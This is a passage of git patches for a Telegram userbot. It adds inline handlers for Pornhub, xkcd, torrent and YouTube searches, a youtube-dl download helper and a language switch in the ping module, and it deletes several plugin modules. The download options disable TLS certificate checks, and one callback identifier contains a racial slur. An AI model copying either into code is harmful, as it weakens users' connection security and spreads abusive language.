data.videos: + if ok <= 5: + lul_m = (f"**PORN-HUB SEARCH** \n**Video title :** `{vid.title}` \n**Video link :** `https://www.pornhub.com/view_video.php?viewkey={vid.video_id}`") + results.append( + await event.builder.article( + title=vid.title, + text=lul_m, + buttons=[ + Button.switch_inline( + "Search Again", query="ph ", same_peer=True + ) + ], + ) + ) + else: + pass + await event.answer(results) + +@tgbot.on(events.InlineQuery(pattern=r"xkcd (.*)")) +async def inline_id_handler(event: events.InlineQuery.Event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy VirtualUserbot To Get Your Own Assistant, Repo Link [Here](https://github.com/inukaasith/virtualuserbot)", + ) + await event.answer([resultm]) + return + results = [] + input_str = event.pattern_match.group(1) + xkcd_id = None + if input_str: + if input_str.isdigit(): + xkcd_id = input_str + else: + xkcd_search_url = "https://relevantxkcd.appspot.com/process?" + queryresult = requests.get( + xkcd_search_url, params={"action": "xkcd", "query": quote(input_str)} + ).text + xkcd_id = queryresult.split(" ")[2].lstrip("\n") + if xkcd_id is None: + xkcd_url = "https://xkcd.com/info.0.json" + else: + xkcd_url = "https://xkcd.com/{}/info.0.json".format(xkcd_id) + r = requests.get(xkcd_url) + if r.ok: + data = r.json() + year = data.get("year") + month = data["month"].zfill(2) + day = data["day"].zfill(2) + xkcd_link = "https://xkcd.com/{}".format(data.get("num")) + safe_title = data.get("safe_title") + data.get("transcript") + alt = data.get("alt") + img = data.get("img") + data.get("title") + output_str = """ +[XKCD]({}) +Title: {} +Alt: {} +Day: {} +Month: {} +Year: {}""".format( + xkcd_link, safe_title, alt, day, month, year + ) + lul_k = builder.photo( + file=img, + text=output_str + ) + await event.answer([lul_k]) + else: + resultm = builder.article( + title="- No Results :/ -", + text=f"No Results Found !" + ) + await event.answer([resultm]) From d31a6ae5190c52820f2dff8a2d33da16c9d45667 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 18:57:17 +0530 Subject: [PATCH 348/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 68bbaff7..1037242e 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -113,7 +113,7 @@ async def on_plug_in_callback_query_handler(event): if plugin_name in CMD_HELP: help_string = f"**🦹‍♀️ PLUGIN NAME 🦹‍♀️ :** `{plugin_name}` \n{CMD_HELP[plugin_name]}" reply_pop_up_alert = help_string - reply_pop_up_alert += "\n\n**(C) VirtualUserbot ** ".format(plugin_name) + reply_pop_up_alert += "\n\n**(C) @VirtualUserbot ** ".format(plugin_name) if len(reply_pop_up_alert) >= 4096: crackexy = "`Pasting Your Help Menu.`" await event.answer(crackexy, cache_time=0, alert=True) From 1535ee6d6babb1da7a1923e11545b37062b73733 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 19:00:52 +0530 Subject: [PATCH 349/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 1037242e..4fa3696d 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -344,20 +344,19 @@ async def inline_id_handler(event: events.InlineQuery.Event): okayz = f"**Title :** `{okiknow}` \n**Size :** `{starksize}` \n**Type :** `{starky}` \n**Seeder :** `{seeders}` \n**Leecher :** `{okpros}` \n**Magnet :** `{sadstark}` " sedme = f"Size : {starksize} Type : {starky} Age : {seds}" results.append( - await event.builder.article( - title=okiknow, - description=sedme, - text=okayz, - buttons=[ - Button.switch_inline( - "Search Again", query="torrent ", same_peer=True - ) - ], - ) - ) + await event.builder.photo( + file=kekme, + text=okayz, + buttons=[ + [custom.Button.inline("Download Test", data=f"yt_dl_{mo}")], + [Button.switch_inline("Search Again", query="yt ", same_peer=True)], + ] + ) + ) await event.answer(results) + @tgbot.on(events.InlineQuery(pattern=r"yt (.*)")) async def inline_id_handler(event: events.InlineQuery.Event): builder = event.builder From 4b6c81c984149d3144b22fbcc63fe264b1c1262e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 19:05:10 +0530 Subject: [PATCH 350/838] Update __init__.py --- fridaybot/function/__init__.py | 92 ++++++++++++++++++++++++++++++++-- 1 file changed, 89 insertions(+), 3 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index 45bd151e..2d3d7b4e 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -1,6 +1,17 @@ import requests from bs4 import BeautifulSoup - +from telethon.tl.types import DocumentAttributeAudio +from youtube_dl import YoutubeDL +from youtube_dl.utils import ( + ContentTooShortError, + DownloadError, + ExtractorError, + GeoRestrictedError, + MaxDownloadsReached, + PostProcessingError, + UnavailableVideoError, + XAttrMetadataError, +) import asyncio import json import math @@ -123,6 +134,7 @@ async def convert_to_image(event, borg): or lmao.video_note or lmao.photo or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -344,10 +356,10 @@ async def apk_dl(app_name, path, event): for link in result: dl_link = link.get('href') r = requests.get(dl_link) - with open(f"{path}/{name}#VirtualUserbot.apk", 'wb') as f: + with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: f.write(r.content) await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}#VirtualUserbot.apk' + final_path = f'{path}/{name}@VirtualUserbot.apk' return final_path, name async def check_if_subbed(channel_id, event, bot): @@ -361,3 +373,77 @@ async def check_if_subbed(channel_id, event, bot): return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False + +async def _ytdl(url, is_it, event, tgbot): + await event.edit("`Ok Downloading This Video / Audio`") + if is_it: + opts = { + "format": "bestaudio", + "addmetadata": True, + "key": "FFmpegMetadata", + "writethumbnail": True, + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "480", + } + ], + "outtmpl": "%(id)s.mp3", + "quiet": True, + "logtostderr": False, + } + video = False + song = True + else: + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} + ], + "outtmpl": "%(id)s.mp4", + "logtostderr": False, + "quiet": True, + } + song = False + video = True + try: + with YoutubeDL(opts) as ytdl: + ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + c_time = time.time() + if song: + await event.edit( + f"**Uploading Audio**\ + \n**Title :** `{ytdl_data['title']}`\ + \n**Video Uploader :** `{ytdl_data['uploader']}`" + ) + await tgbot.edit_message( + event.chat_id, + file=f"{ytdl_data['id']}.mp3", + text=ytdl_data["title"] + ) + os.remove(f"{ytdl_data['id']}.mp3") + + elif video: + await event.edit( + f"**Uploading Video**\ + \n**Title :** `{ytdl_data['title']}`\ + \n**Video Uploader :** `{ytdl_data['uploader']}`" + ) + await tgbot.edit_message( + event.chat_id, + file=f"{ytdl_data['id']}.mp4", + text=ytdl_data["title"] + ) + os.remove(f"{ytdl_data['id']}.mp4") From 703cb842e99ec52f084f810550dac8fd3fb824a9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 19:15:30 +0530 Subject: [PATCH 351/838] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6ae287b1..32d73ebb 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Fork

    -

    +

    # 😍 Credits @@ -21,7 +21,7 @@ # # ❤️ Support - + @@ -201,4 +201,4 @@ All the plugins are reconfigured for for virtualuserbot. So if you have any erro ## ❤️ Made possible by [Friday Project](https://github.com/StarkGang/FridayUserbot) and many other opensource projects.. ❤️ -### 😍 Special Thanks to [Tech Wizard Entertaintment](https://t.me/Tech_Wizard_Ent) for helping me. 😍 +### 😍 Project by [Infinity_Bots](https://t.me/Infinity_Bots) 😍 From 2b160c9fac4d52fdbc06c16144920801fac94e88 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 6 Jan 2021 19:18:19 +0530 Subject: [PATCH 352/838] Update ping.py --- fridaybot/modules/ping.py | 1 - 1 file changed, 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 24846534..fb4309e3 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -34,7 +34,6 @@ def get_readable_time(seconds: int) -> str: @friday.on(friday_on_cmd(pattern="ping$")) -@friday.on(sudo_cmd(pattern="ping$", allow_sudo=True)) async def _(event): starkislub = await edit_or_reply(event, "`Pong !`") if event.fwd_from: From 2145cf0bf5435b4a859840a2965dfe9ea55ec9ac Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 22:56:28 +0530 Subject: [PATCH 353/838] Update ping.py --- fridaybot/modules/ping.py | 121 +++++++++++++++++++++++++------------- 1 file changed, 81 insertions(+), 40 deletions(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index fb4309e3..78bc4848 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -3,49 +3,90 @@ from fridaybot import CMD_HELP, Lastupdate from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +lang = "en" +if lang == "si" + def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -@friday.on(friday_on_cmd(pattern="ping$")) -async def _(event): - starkislub = await edit_or_reply(event, "`Pong !`") - if event.fwd_from: - return - start = datetime.now() - end = datetime.now() - ms = (end - start).microseconds / 1000 - uptime = get_readable_time((time.time() - Lastupdate)) - await starkislub.edit( - f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" - ) + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + + @friday.on(friday_on_cmd(pattern="ping$")) + async def _(event): + starkislub = await edit_or_reply(event, "`Pong !`") + if event.fwd_from: + return + start = datetime.now() + end = datetime.now() + ms = (end - start).microseconds / 1000 + uptime = get_readable_time((time.time() - Lastupdate)) + await starkislub.edit( + f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" + ) +else: + + def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + + @friday.on(friday_on_cmd(pattern="ping$")) + async def _(event): + starkislub = await edit_or_reply(event, "`Pong !`") + if event.fwd_from: + return + start = datetime.now() + end = datetime.now() + ms = (end - start).microseconds / 1000 + uptime = get_readable_time((time.time() - Lastupdate)) + await starkislub.edit( + f"**🙈I'm Online, Master ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" + ) CMD_HELP.update( { From 461271b9e1f84a8e47be9d8be5f5df171db6d169 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:01:59 +0530 Subject: [PATCH 354/838] Update ping.py --- fridaybot/modules/ping.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 78bc4848..62945777 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -4,7 +4,7 @@ from fridaybot import CMD_HELP, Lastupdate from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd lang = "en" -if lang == "si" +if lang == "si": def get_readable_time(seconds: int) -> str: count = 0 ping_time = "" From 35975ceab504455da622dc1702eaba256ed1e568 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:04:30 +0530 Subject: [PATCH 355/838] Delete harrypotter.py --- fridaybot/modules/harrypotter.py | 101 ------------------------------- 1 file changed, 101 deletions(-) delete mode 100644 fridaybot/modules/harrypotter.py diff --git a/fridaybot/modules/harrypotter.py b/fridaybot/modules/harrypotter.py deleted file mode 100644 index 21709517..00000000 --- a/fridaybot/modules/harrypotter.py +++ /dev/null @@ -1,101 +0,0 @@ -""" -Pulls Up A Random Chant From Harry Potter Series... -Syntax: .hp - orginal author : AlenPaulVarghese(@STARKTM1) - custom editing : @pureindialover -""" -from telethon import events -import asyncio -import os -import sys -import random - - - -@borg.on(events.NewMessage(pattern=r"\.hp", outgoing=True)) -async def _(event): - if event.fwd_from: - return - x=(random.randrange(1,40)) - if (x==1): - await event.edit("**Aberto**") - if (x==2): - await event.edit("**Accio**") - if (x==3): - await event.edit("**Aguamenti**") - if (x==4): - await event.edit("**Alohomora**") - if (x==5): - await event.edit("**Avada Kedavra**") - if (x==6): - await event.edit("**Colloportus**") - if (x==7): - await event.edit("**Confringo**") - if (x==8): - await event.edit("**Confundo**") - if (x==9): - await event.edit("**Crucio**") - if (x==10): - await event.edit("**Descendo**") - if (x==11): - await event.edit("**Diffindo**") - if (x==12): - await event.edit("**Engorgio**") - if (x==13): - await event.edit("**Episkey**") - if (x==14): - await event.edit("**Evanesco**") - if (x==15): - await event.edit("**Expecto Patronum**") - if (x==16): - await event.edit("**Expelliarmus**") - if (x==17): - await event.edit("**Finestra**") - if (x==18): - await event.edit("**Homenum Revelio**") - if (x==19): - await event.edit("**Impedimenta**") - if (x==20): - await event.edit("**Imperio**") - if (x==21): - await event.edit("**Impervius**") - if (x==22): - await event.edit("**Incendio**") - if (x==23): - await event.edit("**Levicorpus**") - if (x==24): - await event.edit("**Lumos**") - if (x==25): - await event.edit("**Muffliato**") - if (x==26): - await event.edit("**Obliviate**") - if (x==27): - await event.edit("**Petrificus Totalus**") - if (x==28): - await event.edit("**Priori Incantato**") - if (x==29): - await event.edit("**Protego**") - if (x==30): - await event.edit("**Reducto**") - if (x==31): - await event.edit("**Rennervate**") - if (x==32): - await event.edit("**Revelio**") - if (x==33): - await event.edit("**Rictusempra**") - if (x==34): - await event.edit("**Riddikulus**") - if (x==35): - await event.edit("**Scourgify**") - if (x==36): - await event.edit("**Sectumsempra**") - if (x==37): - await event.edit("**Silencio**") - if (x==37): - await event.edit("**Stupefy**") - if (x==38): - await event.edit("**Tergeo**") - if (x==39): - await event.edit("**Wingardium Leviosa**") - - From 0ea24bb152e5747589e6b3cc22ca2b78a07bd9df Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:05:08 +0530 Subject: [PATCH 356/838] Delete lydia.py --- fridaybot/modules/lydia.py | 115 ------------------------------------- 1 file changed, 115 deletions(-) delete mode 100644 fridaybot/modules/lydia.py diff --git a/fridaybot/modules/lydia.py b/fridaybot/modules/lydia.py deleted file mode 100644 index be55e49f..00000000 --- a/fridaybot/modules/lydia.py +++ /dev/null @@ -1,115 +0,0 @@ -# Copyright 2019 - 2020 DarkPrinc3 - -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at - -# http://www.apache.org/licenses/LICENSE-2.0 - -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import asyncio - -from coffeehouse.api import API -from coffeehouse.lydia import LydiaAI -from telethon import events - -from fridaybot import CMD_HELP - -# Non-SQL Mode -ACC_LYDIA = {} - -if Var.LYDIA_API_KEY: - api_key = Var.LYDIA_API_KEY - api_client = API(api_key) - lydia = LydiaAI(api_client) - - -@command(pattern="^.repcf", outgoing=True) -async def repcf(event): - if event.fwd_from: - return - await event.edit("Processing...") - try: - session = lydia.create_session() - session.id - reply = await event.get_reply_message() - msg = reply.text - text_rep = session.think_thought(msg) - await event.edit("💫 {0}".format(text_rep)) - except Exception as e: - await event.edit(str(e)) - - -@command(pattern="^.addcf", outgoing=True) -async def addcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - if reply_msg: - session = lydia.create_session() - session.id - if reply_msg.from_id is None: - return await event.edit("Invalid user type.") - ACC_LYDIA.update({(event.chat_id & reply_msg.from_id): session}) - await event.edit( - "Lydia successfully (re)enabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - else: - await event.edit("Reply to a user to activate Lydia AI on them") - - -@command(pattern="^.remcf", outgoing=True) -async def remcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - try: - del ACC_LYDIA[event.chat_id & reply_msg.from_id] - await event.edit( - "Lydia successfully disabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - except Exception: - await event.edit("This person does not have Lydia activated on him/her.") - - -@bot.on(events.NewMessage(incoming=True)) -async def user(event): - event.text - try: - session = ACC_LYDIA[event.chat_id & event.sender_id] - msg = event.text - async with event.client.action(event.chat_id, "typing"): - text_rep = session.think_thought(msg) - wait_time = 0 - for i in range(len(text_rep)): - wait_time = wait_time + 0.1 - await asyncio.sleep(wait_time) - await event.reply(text_rep) - except (KeyError, TypeError): - return - - -CMD_HELP.update( - { - "lydia": "**Lydia**\ -\n\n**Syntax : **`.addcf `\ -\n**Usage :** Enables Lydia ai on the user.\ -\n\n**Syntax : **`.remcf `\ -\n**Usage :** Disables AI Lydia on the user." - } -) From 3a5124f328fb428df5fb6dfde1c8c4e4a8ede5c3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:06:36 +0530 Subject: [PATCH 357/838] Delete superhero.py --- fridaybot/modules/superhero.py | 132 --------------------------------- 1 file changed, 132 deletions(-) delete mode 100644 fridaybot/modules/superhero.py diff --git a/fridaybot/modules/superhero.py b/fridaybot/modules/superhero.py deleted file mode 100644 index b39f0dad..00000000 --- a/fridaybot/modules/superhero.py +++ /dev/null @@ -1,132 +0,0 @@ -# Copyright (C) @chsaiujwal 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . - -import requests - -from uniborg.util import friday_on_cmd - -import html - -from telethon.tl.functions.photos import GetUserPhotosRequest -from telethon.tl.functions.users import GetFullUserRequest -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location -from fridaybot.Configs import Config -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd - - -@friday.on(admin_cmd(pattern="hero (.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - url = "https://superhero-search.p.rapidapi.com/" - querystring = {"hero": input_str} - if Config.SUPERHERO_API_KEY is None: - await event.edit("Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!") - return - await event.edit("Processing Your Request.") - inputo = Config.SUPERHERO_API_KEY - - headers = { - 'x-rapidapi-key': inputo, - 'x-rapidapi-host': "superhero-search.p.rapidapi.com" - } - - response = requests.request("GET", url, headers=headers, params=querystring) - a = response.json() - b = a.get("name") - c = a.get("id") - d = a.get("slug") - e = a.get("powerstats") - intelligence = str(e.get("intelligence")) - strength = str(e.get("strength")) - speed = str(e.get("speed")) - durability = str(e.get("durability")) - power = str(e.get("power")) - combact = str(e.get("combact")) - f = a.get("appearance") - lol = str(f.get("gender")) - lul = str(f.get("race")) - hm = f.get("height") - inch = str(hm[0]) - cm = str(hm[1]) - # What are you doing in our code? - - weiGht = f.get("weight") - lb = str(weiGht[0]) - kg = str(weiGht[1]) - eye = str(f.get("eyeColor")) - hair = str(f.get("hairColor")) - bio = a.get("biography") - #Hey Kanger, Don't you dare Kamg this. - - fullName = str(bio.get("fullName")) - ego = str(bio.get("alterEgos")) - aliase = bio.get("aliases") - sedo = "" - #Messi Is The Best. - for messi in aliase: - sedo += messi + " " - - - - PoB = str(bio.get("placeOfBirth")) - sed = str(sedo) - - firsT = str(bio.get("firstAppearance")) - - alignment = str(bio.get("alignment")) - - imoge = a.get("images") - res = list(imoge.keys())[3] - linke = str(res) - link = str(imoge.get(linke)) - fcb = input_str.upper() - - caption = f""" {fcb} STATS -Name:- : {b} -Id:- : {c} -Slug:- : {d} -Power Stats -Intelligence:- : {intelligence} -Strength:- : {strength} -Speed:- : {speed} -Durability:- : {durability} -Power:- : {power} -Combact:- : {combact} -Appearance -Gender:- : {lol} -Race:- : {lul} -Height:- : {inch} {cm} -Weight:- : {lb} {kg} -Eye Colour:- : {eye} -Hair Colour:- : {hair} -Biography -Full Name:- : {fullName} -Alter Egos:- : {ego} -Aliases:- : {sed} -Place Of Birth:- : {PoB} -First Appearance:- : {firsT} -alignment:- : {alignment} -""" - await borg.send_message( - event.chat_id, - caption, - parse_mode="HTML", - file=link, - force_document=False, - silent=True, - ) - await event.delete() From a19e8c19703841d2df09586253298f8cb93a2ef9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:10:14 +0530 Subject: [PATCH 358/838] Update ping.py --- fridaybot/modules/ping.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 62945777..79af00ca 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -3,7 +3,7 @@ from fridaybot import CMD_HELP, Lastupdate from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -lang = "en" +lang = "si" if lang == "si": def get_readable_time(seconds: int) -> str: count = 0 From 59a758058308fdc2f848027a145a78950ce2391e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:12:32 +0530 Subject: [PATCH 359/838] Update ping.py --- fridaybot/modules/ping.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 79af00ca..11f8e7ae 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -3,7 +3,8 @@ from fridaybot import CMD_HELP, Lastupdate from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -lang = "si" +from fridaybot import lang + if lang == "si": def get_readable_time(seconds: int) -> str: count = 0 From c21bc2c52177c56e564ade3f1c445157f407c88e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:13:29 +0530 Subject: [PATCH 360/838] Update Configs.py --- fridaybot/Configs.py | 1 + 1 file changed, 1 insertion(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 42ccf26a..3bcf5a87 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -135,6 +135,7 @@ class Config(object): MONGO_URI = os.environ.get("MONGO_URI", None) # Lydia API LYDIA_API = os.environ.get("LYDIA_API", None) + lang = os.environ.get("lang", "si") PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False)) PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False)) SUB_TO_MSG_ASSISTANT = os.environ.get("SUB_TO_MSG_ASSISTANT", False) From dfefab4f5745c8320ba9742ba0a74ae86d16a055 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 6 Jan 2021 23:31:37 +0530 Subject: [PATCH 361/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 712 ++++++++++++++++++++++---------- 1 file changed, 485 insertions(+), 227 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 4fa3696d..92a577ba 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -9,7 +9,7 @@ import requests from telethon import Button, custom, events, functions from youtubesearchpython import VideosSearch -from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST +from fridaybot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang from fridaybot.modules import inlinestats from pornhub_api import PornhubApi PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) @@ -20,263 +20,521 @@ LOG_CHAT = Config.PRIVATE_GROUP_ID DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" - -@tgbot.on(events.InlineQuery) -async def inline_handler(event): - builder = event.builder - result = None - query = event.text - if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): - rev_text = query[::-1] - buttons = paginate_help(0, CMD_HELP, "helpme") - result = builder.article( - "© Userbot Help", - text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), - buttons=buttons, - link_preview=False, - ) - await event.answer([result]) - elif event.query.user_id == bot.uid and query == "stats": - result = builder.article( - title="Stats", - text=f"**Showing Stats For {DEFAULTUSER}'s VirtualUserbot** \nNote --> Only Owner Can Check This \n(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)", - buttons=[ - [custom.Button.inline("Show Stats ?", data="terminator")], - [Button.url("Developed By", "https://github.com/Inukaasith")], - [Button.url("Support Chat❤️", "t.me/InfinityJE")], - ], - ) - await event.answer([result]) - elif event.query.user_id == bot.uid and query.startswith("**Hello"): - result = builder.photo( - file=WARN_PIC, - text=query, - buttons=[ - [custom.Button.inline("Spamming", data="dontspamnigga")], - [ - custom.Button.inline( - "Casual Talk", - data="whattalk", - ) +if lang == "si": + @tgbot.on(events.InlineQuery) + async def inline_handler(event): + builder = event.builder + result = None + query = event.text + if event.query.user_id == bot.uid and query.startswith("VirtualUserbot"): + rev_text = query[::-1] + buttons = paginate_help(0, CMD_HELP, "helpme") + result = builder.article( + "© Userbot Help", + text="{}\nCurrently Loaded Plugins: {}".format(query, len(CMD_LIST)), + buttons=buttons, + link_preview=False, + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query == "stats": + result = builder.article( + title="Stats", + text=f"**Showing Stats For {DEFAULTUSER}'s VirtualUserbot** \nNote --> Only Owner Can Check This \n(C) [VirtualUserbot](https://github.com/inukaasith/virtualuserbot)", + buttons=[ + [custom.Button.inline("Show Stats ?", data="terminator")], + [Button.url("Developed By", "https://github.com/Inukaasith")], + [Button.url("Support Chat❤️", "t.me/InfinityJE")], ], - [custom.Button.inline("Requesting", data="askme")], - ], - ) - await event.answer([result]) + ) + await event.answer([result]) + elif event.query.user_id == bot.uid and query.startswith("**Hello"): + result = builder.photo( + file=WARN_PIC, + text=query, + buttons=[ + [custom.Button.inline("Spamming", data="dontspamnigga")], + [ + custom.Button.inline( + "Casual Talk", + data="whattalk", + ) + ], + [custom.Button.inline("Requesting", data="askme")], + ], + ) + await event.answer([result]) -@tgbot.on( - events.callbackquery.CallbackQuery( # pylint:disable=E0602 - data=re.compile(b"helpme_next\((.+?)\)") + @tgbot.on( + events.callbackquery.CallbackQuery( # pylint:disable=E0602 + data=re.compile(b"helpme_next\((.+?)\)") + ) ) -) -async def on_plug_in_callback_query_handler(event): - if event.query.user_id == bot.uid: - current_page_number = int(event.data_match.group(1).decode("UTF-8")) - buttons = paginate_help(current_page_number + 1, CMD_HELP, "helpme") - # 